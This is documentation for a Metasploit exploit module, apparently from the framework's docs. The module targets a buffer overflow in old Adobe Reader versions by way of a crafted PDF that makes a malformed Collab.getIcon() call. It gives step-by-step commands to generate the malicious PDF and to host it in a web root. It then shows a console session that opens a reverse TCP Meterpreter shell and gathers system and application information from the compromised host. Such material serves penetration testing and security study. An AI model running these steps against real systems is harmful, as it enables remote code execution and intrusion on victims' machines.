## Vulnerable Application

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat. Affected versions include < 7.1.1, < 8.1.3, and < 9.1.
By creating a specially crafted pdf that a contains malformed `Collab.getIcon()` call, an attacker may be able to execute arbitrary code.

Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-8-0-0)

### Test results (on Windows XP SP3)

  * reader 7.0.5 - no trigger
  * reader 7.0.8 - no trigger
  * reader 7.0.9 - no trigger
  * reader 7.1.0 - no trigger
  * reader 7.1.1 - reported not vulnerable
  * reader 8.0.0 - works
  * reader 8.1.2 - works
  * reader 8.1.3 - reported not vulnerable
  * reader 9.0.0 - works
  * reader 9.1.0 - reported not vulnerable

## Options

### FILENAME

  The file name

## Verification Steps

   1. Install application on the target machine
   2. Start msfconsole
   3. Do: ```use exploit/windows/fileformat/adobe_geticon```
   4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
   5. Do: ```set LHOST [IP]```
   6. Do: ```exploit```
   7. Do: ```use exploit/multi/handler```
   8. Do: ```set LHOST [IP]```
   9. Do: ```exploit```
   10. Do: Open PDF on target machine with vulnerable software

## Scenarios

### Adobe Reader 8.0.0 on Windows XP (5.1 Build 2600, Service Pack 3)

  ```
  msf > use exploit/windows/fileformat/adobe_geticon
  msf exploit(windows/fileformat/adobe_geticon) > set FILENAME icon.pdf
    FILENAME => icon.pdf
  msf exploit(windows/fileformat/adobe_geticon) > exploit

    [*] Creating 'icon.pdf' file...
    [+] icon.pdf stored at /root/.msf4/local/icon.pdf
  msf exploit(windows/fileformat/adobe_geticon) > cp /root/.msf4/local/icon.pdf /var/www/html/icon.pdf
    [*] exec: cp /root/.msf4/local/icon.pdf /var/www/html/icon.pdf

  msf payload(windows/meterpreter/reverse_tcp) > use exploit/multi/handler
  msf exploit(multi/handler) > set LHOST 192.168.1.3
    LHOST => 192.168.1.3
  msf exploit(multi/handler) > exploit

    [*] Started reverse TCP handler on 192.168.1.3:4444
    [*] Sending stage (180291 bytes) to 192.168.1.5
    [*] Meterpreter session 3 opened (192.168.1.3:4444 -> 192.168.1.5:1160) at 2019-12-06 14:40:10 -0700

  meterpreter > sysinfo
    Computer        : COMPUTER_1
    OS              : Windows XP (5.1 Build 2600, Service Pack 3).
    Architecture    : x86
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
  meterpreter > getuid
    Server username: COMPUTER_1\USER
  meterpreter > run post/windows/gather/enum_applications

    [*] Enumerating applications installed on COMPUTER_1

    Installed Applications
    ======================

     Name            Version
     ----            -------
     Adobe Reader 8  8.0.0


    [+] Results stored in: /root/.msf4/loot/20191206144654_default_192.168.1.5_host.application_162364.txt
  ```
